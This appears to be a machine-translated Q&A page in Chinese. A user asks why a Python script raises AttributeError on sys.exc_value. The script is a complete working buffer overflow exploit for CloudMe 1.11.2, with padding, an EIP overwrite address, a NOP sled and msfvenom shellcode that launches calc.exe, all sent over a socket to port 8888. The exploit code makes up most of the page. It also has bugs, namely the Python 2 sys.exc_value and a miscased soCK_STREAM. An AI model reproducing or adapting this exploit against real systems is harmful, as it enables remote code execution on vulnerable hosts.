AttributeError: 模块“sys”没有属性“exc_value”

如何解决AttributeError: 模块“sys”没有属性“exc_value”

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP,RET
nopS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
buf =  b""
buf += b"\xda\xce\xd9\x74\x24\xf4\xba\xfe\x29\x9f\x7c\x58\x33"
buf += b"\xc9\xb1\x52\x31\x50\x17\x83\xe8\xfc\x03\xae\x3a\x7d"
buf += b"\x89\xb2\xd5\x03\x72\x4a\x26\x64\xfa\xaf\x17\xa4\x98"
buf += b"\xa4\x08\x14\xea\xe8\xa4\xdf\xbe\x18\x3e\xad\x16\x2f"
buf += b"\xf7\x18\x41\x1e\x08\x30\xb1\x01\x8a\x4b\xe6\xe1\xb3"
buf += b"\x83\xfb\xe0\xf4\xfe\xf6\xb0\xad\x75\xa4\x24\xd9\xc0"
buf += b"\x75\xcf\x91\xc5\xfd\x2c\x61\xe7\x2c\xe3\xf9\xbe\xee"
buf += b"\x02\x2d\xcb\xa6\x1c\x32\xf6\x71\x97\x80\x8c\x83\x71"
buf += b"\xd9\x6d\x2f\xbc\xd5\x9f\x31\xf9\xd2\x7f\x44\xf3\x20"
buf += b"\xfd\x5f\xc0\x5b\xd9\xea\xd2\xfc\xaa\x4d\x3e\xfc\x7f"
buf += b"\x0b\xb5\xf2\x34\x5f\x91\x16\xca\x8c\xaa\x23\x47\x33"
buf += b"\x7c\xa2\x13\x10\x58\xee\xc0\x39\xf9\x4a\xa6\x46\x19"
buf += b"\x35\x17\xe3\x52\xd8\x4c\x9e\x39\xb5\xa1\x93\xc1\x45"
buf += b"\xae\xa4\xb2\x77\x71\x1f\x5c\x34\xfa\xb9\x9b\x3b\xd1"
buf += b"\x7e\x33\xc2\xda\x7e\x1a\x01\x8e\x2e\x34\xa0\xaf\xa4"
buf += b"\xc4\x4d\x7a\x6a\x94\xe1\xd5\xcb\x44\x42\x86\xa3\x8e"
buf += b"\x4d\xf9\xd4\xb1\x87\x92\x7f\x48\x40\x97\x75\x5c\x9c"
buf += b"\xcf\x8b\x60\xbf\x26\x05\x86\xd5\x28\x43\x11\x42\xd0"
buf += b"\xce\xe9\xf3\x1d\xc5\x94\x34\x95\xea\x69\xfa\x5e\x86"
buf += b"\x79\x6b\xaf\xdd\x23\x3a\xb0\xcb\x4b\xa0\x23\x90\x8b"
buf += b"\xaf\x5f\x0f\xdc\xf8\xae\x46\x88\x14\x88\xf0\xae\xe4"
buf += b"\x4c\x3a\x6a\x33\xad\xc5\x73\xb6\x89\xe1\x63\x0e\x11"
buf += b"\xae\xd7\xde\x44\x78\x81\x98\x3e\xca\x7b\x73\xec\x84"
buf += b"\xeb\x02\xde\x16\x6d\x0b\x0b\xe1\x91\xba\xe2\xb4\xae"
buf += b"\x73\x63\x31\xd7\x69\x13\xbe\x02\x2a\x23\xf5\x0e\x1b"
buf += b"\xac\x50\xdb\x19\xb1\x62\x36\x5d\xcc\xe0\xb2\x1e\x2b"
buf += b"\xf8\xb7\x1b\x77\xbe\x24\x56\xe8\x2b\x4a\xc5\x09\x7e"

payload = buf

overrun    = b"C" * (1500 - len(padding1 + nopS + EIP + payload))   

buf = padding1 + EIP + nopS + payload + overrun 

try:
    s=socket.socket(socket.AF_INET,socket.soCK_STREAM)
    s.connect((target,8888))
    s.send(buf)
except Exception as e:
    print(sys.exc_value)
    

代码来自 CloudMe 1.11.2 的缓冲区溢出,我无法执行它,因为我收到此错误消息:

回溯(最近一次调用最后一次): 文件“/root/Documents/bufferoverflow.py”,第 62 行,在 打印(sys.exc_value) AttributeError: 模块 'sys' 没有属性 'exc_value'

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其他元素将获得点击?
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。)
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbcDriver发生异常。为什么?
这是用Java进行XML解析的最佳库。
Java的PriorityQueue的内置迭代器不会以任何特定顺序遍历数据结构。为什么?
如何在Java中聆听按键时移动图像。
Java“Program to an interface”。这是什么意思?
Java在半透明框架/面板/组件上重新绘画。
Java“ Class.forName()”和“ Class.forName()。newInstance()”之间有什么区别?
在此环境中不提供编译器。也许是在JRE而不是JDK上运行?
Java用相同的方法在一个类中实现两个接口。哪种接口方法被覆盖?
Java 什么是Runtime.getRuntime()。totalMemory()和freeMemory()?
java.library.path中的java.lang.UnsatisfiedLinkError否*****。dll
JavaFX“位置是必需的。” 即使在同一包装中
Java 导入两个具有相同名称的类。怎么处理?
Java 是否应该在HttpServletResponse.getOutputStream()/。getWriter()上调用.close()?
Java RegEx元字符(。)和普通点?